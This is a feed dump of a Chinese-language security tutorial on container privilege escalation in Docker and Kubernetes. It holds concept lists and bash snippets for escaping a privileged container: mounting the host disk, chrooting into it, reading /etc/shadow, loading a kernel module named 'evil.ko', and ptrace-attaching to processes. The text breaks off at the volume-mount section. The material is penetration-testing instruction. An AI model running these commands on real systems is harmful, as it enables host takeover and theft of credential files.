https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/%E5%AE%B9%E5%99%A8%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Recent content in 容器权限提升 on Linux邪修Hugozh© 2024 Linux邪修https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/%E5%AE%B9%E5%99%A8%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/%E5%AE%B9%E5%99%A8%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/Mon, 01 Jan 0001 00:00:00 +0000https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/%E5%AE%B9%E5%99%A8%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/%E5%AE%B9%E5%99%A8%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/<h2 id="技术介绍">技术介绍<a class="anchor" href="#%e6%8a%80%e6%9c%af%e4%bb%8b%e7%bb%8d">#</a></h2> <p>容器权限提升是针对容器环境（如Docker、Kubernetes）的权限提升技术，用于发现和利用容器中的安全漏洞，从低权限容器提升到高权限容器或主机权限。容器权限提升是容器安全的重要组成部分。本教程将详细介绍容器权限提升的基础知识、核心概念和技术方法，帮助安全人员理解和应用容器权限提升技术。</p> <h3 id="容器权限提升核心概念">容器权限提升核心概念<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%e6%a0%b8%e5%bf%83%e6%a6%82%e5%bf%b5">#</a></h3> <ul> <li><strong>权限提升（Privilege Escalation）</strong>：从低权限提升到高权限的过程</li> <li><strong>容器权限提升（Container Privilege Escalation）</strong>：在容器环境中提升权限的过程</li> <li><strong>Docker</strong>：最流行的容器平台，提供容器的创建、部署和管理功能</li> <li><strong>Kubernetes</strong>：容器编排平台，用于管理容器化应用的部署、扩展和运维</li> <li><strong>容器镜像（Container Image）</strong>：容器的只读模板，包含应用程序和运行时环境</li> <li><strong>容器卷（Container Volume）</strong>：容器的持久化存储，用于保存数据</li> <li><strong>容器网络（Container Network）</strong>：容器之间的网络通信机制</li> <li><strong>容器运行时（Container Runtime）</strong>：负责运行容器的软件，如containerd、CRI-O</li> <li><strong>容器特权模式（Privileged Container）</strong>：以特权模式运行的容器，拥有主机权限</li> <li><strong>容器逃逸（Container Escape）</strong>：从容器逃逸到主机的攻击</li> <li><strong>容器安全（Container Security）</strong>：保护容器环境安全的技术和措施</li> <li><strong>容器编排（Container Orchestration）</strong>：自动化管理容器的部署、扩展和运维</li> <li><strong>容器隔离（Container Isolation）</strong>：容器之间的隔离机制，包括命名空间、cgroups等</li> <li><strong>容器漏洞（Container Vulnerability）</strong>：容器中的安全漏洞</li> <li><strong>配置错误（Misconfiguration）</strong>：容器配置中的错误</li> <li><strong>权限提升枚举（Privilege Escalation Enumeration）</strong>：枚举容器中的权限提升路径</li> <li><strong>权限提升漏洞利用（Privilege Escalation Exploitation）</strong>：利用漏洞提升权限</li> <li><strong>权限提升防御（Privilege Escalation Defense）</strong>：防范权限提升攻击的措施</li> </ul> <h3 id="容器权限提升的特点">容器权限提升的特点<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%e7%9a%84%e7%89%b9%e7%82%b9">#</a></h3> <ul> <li><strong>多样性</strong>：容器权限提升方法多样</li> <li><strong>复杂性</strong>：容器环境复杂，权限提升需要专业知识</li> <li><strong>依赖性</strong>：权限提升通常依赖容器配置和漏洞</li> <li><strong>风险性</strong>：权限提升可能影响容器和主机稳定性</li> <li><strong>检测性</strong>：权限提升活动可能被检测到</li> <li><strong>持久性</strong>：权限提升后可能持久化</li> </ul> <h3 id="容器权限提升的重要性">容器权限提升的重要性<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%e7%9a%84%e9%87%8d%e8%a6%81%e6%80%a7">#</a></h3> <ul> <li><strong>容器控制</strong>：获取容器最高权限</li> <li><strong>主机控制</strong>：从容器逃逸到主机</li> <li><strong>数据访问</strong>：访问容器和主机中的敏感数据</li> <li><strong>横向移动</strong>：在容器环境中横向移动</li> <li><strong>安全评估</strong>：评估容器的安全性</li> <li><strong>合规性</strong>：满足合规性要求</li> </ul> <h2 id="技术体系">技术体系<a class="anchor" href="#%e6%8a%80%e6%9c%af%e4%bd%93%e7%b3%bb">#</a></h2> <p>容器权限提升技术体系主要包括以下几个方面：</p> <h3 id="容器权限提升信息收集">容器权限提升信息收集<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86">#</a></h3> <ul> <li><strong>容器信息收集</strong>：收集容器的信息</li> <li><strong>镜像信息收集</strong>：收集容器镜像的信息</li> <li><strong>配置信息收集</strong>：收集容器配置的信息</li> <li><strong>网络信息收集</strong>：收集容器网络的信息</li> <li><strong>卷信息收集</strong>：收集容器卷的信息</li> <li><strong>漏洞信息收集</strong>：收集容器漏洞的信息</li> </ul> <h3 id="容器权限提升漏洞分析">容器权限提升漏洞分析<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90">#</a></h3> <ul> <li><strong>容器配置分析</strong>：分析容器配置</li> <li><strong>镜像漏洞分析</strong>：分析镜像漏洞</li> <li><strong>运行时漏洞分析</strong>：分析运行时漏洞</li> <li><strong>网络配置分析</strong>：分析网络配置</li> <li><strong>卷配置分析</strong>：分析卷配置</li> <li><strong>特权模式分析</strong>：分析特权模式配置</li> </ul> <h3 id="容器权限提升漏洞利用">容器权限提升漏洞利用<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%e6%bc%8f%e6%b4%9e%e5%88%a9%e7%94%a8">#</a></h3> <ul> <li><strong>容器逃逸</strong>：从容器逃逸到主机</li> <li><strong>特权模式利用</strong>：利用特权模式提升权限</li> <li><strong>挂载利用</strong>：利用挂载卷提升权限</li> <li><strong>网络利用</strong>：利用网络配置提升权限</li> <li><strong>镜像漏洞利用</strong>：利用镜像漏洞提升权限</li> <li><strong>运行时漏洞利用</strong>：利用运行时漏洞提升权限</li> </ul> <h2 id="工具使用">工具使用<a class="anchor" href="#%e5%b7%a5%e5%85%b7%e4%bd%bf%e7%94%a8">#</a></h2> <h3 id="docker权限提升工具">Docker权限提升工具<a class="anchor" href="#docker%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%e5%b7%a5%e5%85%b7">#</a></h3> <ol> <li> <p><strong>Docker CLI</strong>：</p>https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/%E5%AE%B9%E5%99%A8%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/%E5%AE%B9%E5%99%A8%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%8A%80%E6%9C%AF/Mon, 01 Jan 0001 00:00:00 +0000https://linuxiexiu.github.io/docs/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/%E5%AE%B9%E5%99%A8%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/%E5%AE%B9%E5%99%A8%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%8A%80%E6%9C%AF/<h1 id="容器权限提升技术">容器权限提升技术<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%e6%8a%80%e6%9c%af">#</a></h1> <h2 id="技术介绍">技术介绍<a class="anchor" href="#%e6%8a%80%e6%9c%af%e4%bb%8b%e7%bb%8d">#</a></h2> <p>容器权限提升是指在容器化环境中利用配置错误、漏洞或设计缺陷，从低权限用户提升到更高权限的过程。容器权限提升是红队攻击和蓝队防御的重要技术领域，有助于发现容器环境中的安全风险。</p> <h3 id="主要权限提升技术">主要权限提升技术<a class="anchor" href="#%e4%b8%bb%e8%a6%81%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87%e6%8a%80%e6%9c%af">#</a></h3> <ul> <li>特权容器利用</li> <li>容器Capabilities滥用</li> <li>容器卷挂载利用</li> <li>容器Docker Socket利用</li> <li>容器内核漏洞利用</li> <li>容器配置错误利用</li> <li>容器编排系统利用</li> <li>容器API滥用</li> <li>容器网络配置利用</li> <li>容器文件系统利用</li> </ul> <h3 id="适用场景">适用场景<a class="anchor" href="#%e9%80%82%e7%94%a8%e5%9c%ba%e6%99%af">#</a></h3> <ul> <li>红队攻击和渗透测试</li> <li>容器安全评估</li> <li>容器环境安全研究</li> <li>云原生安全测试</li> <li>容器平台安全审计</li> </ul> <h2 id="入门级使用">入门级使用<a class="anchor" href="#%e5%85%a5%e9%97%a8%e7%ba%a7%e4%bd%bf%e7%94%a8">#</a></h2> <h3 id="特权容器权限提升">特权容器权限提升<a class="anchor" href="#%e7%89%b9%e6%9d%83%e5%ae%b9%e5%99%a8%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87">#</a></h3> <p>利用特权容器进行权限提升：</p> <div class="highlight"><pre tabindex="0" style="color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#78787e"># 检查容器是否为特权容器</span> </span></span><span style="display:flex;"><span>docker inspect container_name | grep Privileged </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 如果容器是特权容器，可以提升权限</span> </span></span><span style="display:flex;"><span>docker <span style="color:#ff5c57">exec</span> -it container_name /bin/bash </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 挂载主机文件系统</span> </span></span><span style="display:flex;"><span>mount /dev/sda1 /mnt </span></span><span style="display:flex;"><span>chroot /mnt </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 现在可以完全控制主机系统</span> </span></span><span style="display:flex;"><span>ls -la /mnt/etc/ </span></span><span style="display:flex;"><span>cat /mnt/etc/shadow</span></span></code></pre></div><h3 id="容器capabilities权限提升">容器Capabilities权限提升<a class="anchor" href="#%e5%ae%b9%e5%99%a8capabilities%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87">#</a></h3> <p>利用容器Capabilities进行权限提升：</p> <div class="highlight"><pre tabindex="0" style="color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#78787e"># 检查容器Capabilities</span> </span></span><span style="display:flex;"><span>docker inspect container_name | grep CapAdd </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 如果容器有额外的Capabilities，可以利用</span> </span></span><span style="display:flex;"><span>docker <span style="color:#ff5c57">exec</span> -it container_name /bin/bash </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 利用SYS_MODULE Capability加载内核模块</span> </span></span><span style="display:flex;"><span>insmod /host/lib/modules/evil.ko </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#78787e"># 利用SYS_PTRACE Capability调试进程</span> </span></span><span style="display:flex;"><span>gdb -p <span style="color:#ff6ac1">$(</span>pidof nginx<span style="color:#ff6ac1">)</span></span></span></code></pre></div><h3 id="容器卷挂载权限提升">容器卷挂载权限提升<a class="anchor" href="#%e5%ae%b9%e5%99%a8%e5%8d%b7%e6%8c%82%e8%bd%bd%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87">#</a></h3> <p>利用容器卷挂载进行权限提升：</p>